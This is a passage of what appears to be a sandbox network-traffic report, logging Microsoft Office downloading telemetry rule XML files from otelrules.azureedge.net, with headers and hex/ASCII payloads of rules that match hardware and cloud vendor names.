2024-11-20 11:58:32 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.4	49828	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 11:58:32 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 11:58:32 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 11:58:32 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: 9cc78053-901e-008f-7b8c-3a67a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T115832Z-185f5d8b95ctl8xlhC1NYCn94g0000000a5g00000000h3pq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 11:58:32 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.4	49829	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 11:58:32 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 11:58:32 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 11:58:32 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: bfe6dbcf-201e-006e-678c-3abbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T115832Z-185f5d8b95c95vpshC1NYC759c0000000a2000000000n55e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 11:58:32 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.4	49830	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 11:58:32 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 11:58:33 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 11:58:32 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: 41283c59-801e-0015-058c-3af97f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T115832Z-1777c6cb754xlpjshC1TEBv8cc00000009t0000000001euw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 11:58:33 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.4	49832	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 11:58:32 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 11:58:33 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 11:58:32 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 5c5a59ff-301e-003f-5b8c-3a266f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T115832Z-1777c6cb7544nvmshC1TEBf7qc00000009cg000000007254 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 11:58:33 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.4	49831	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 11:58:32 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 11:58:33 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 11:58:33 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: 9cb1ed33-701e-0021-398c-3a3d45000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T115833Z-185f5d8b95c9mqtvhC1NYCghtc0000000a90000000007x6n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 11:58:33 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.4	49833	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 11:58:33 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 11:58:33 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 11:58:33 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: 4f8e9926-c01e-00ad-7c8c-3aa2b9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T115833Z-185f5d8b95c95vpshC1NYC759c0000000a6g000000008q6b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 11:58:33 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.4	49834	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 11:58:33 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 11:58:33 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 11:58:33 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: 38897bff-401e-000a-368c-3a4a7b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T115833Z-r1d97b99577hsvhhhC1TEByb1w000000032000000000a269 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 11:58:33 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.4	49835	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 11:58:33 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 11:58:33 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 11:58:33 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: cb785bac-301e-0000-6c8c-3aeecc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T115833Z-1777c6cb754g9zd5hC1TEBfvpw00000009qg000000007yt7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 11:58:33 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.4	49836	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 11:58:33 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 11:58:33 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 11:58:33 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: d7880247-601e-0070-328c-3aa0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T115833Z-185f5d8b95cmd8vfhC1NYC0g4000000005z000000000gbpk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 11:58:33 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.4	49838	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 11:58:33 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 11:58:33 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 11:58:33 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: 5a5a0c5e-c01e-0079-588c-3ae51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T115833Z-1777c6cb754gvvgfhC1TEBz4rg00000009hg00000000eua0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 11:58:33 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.4	49837	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 11:58:33 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 11:58:33 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 11:58:33 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: 26217b89-b01e-001e-808c-3a0214000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T115833Z-185f5d8b95cp7lkfhC1NYC7rpw0000000adg000000002372 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 11:58:33 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.4	49839	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 11:58:34 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 11:58:34 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 11:58:34 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: 8e68b69a-701e-005c-5c8c-3abb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T115834Z-185f5d8b95cgrrn8hC1NYCgwh40000000a50000000000dwb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
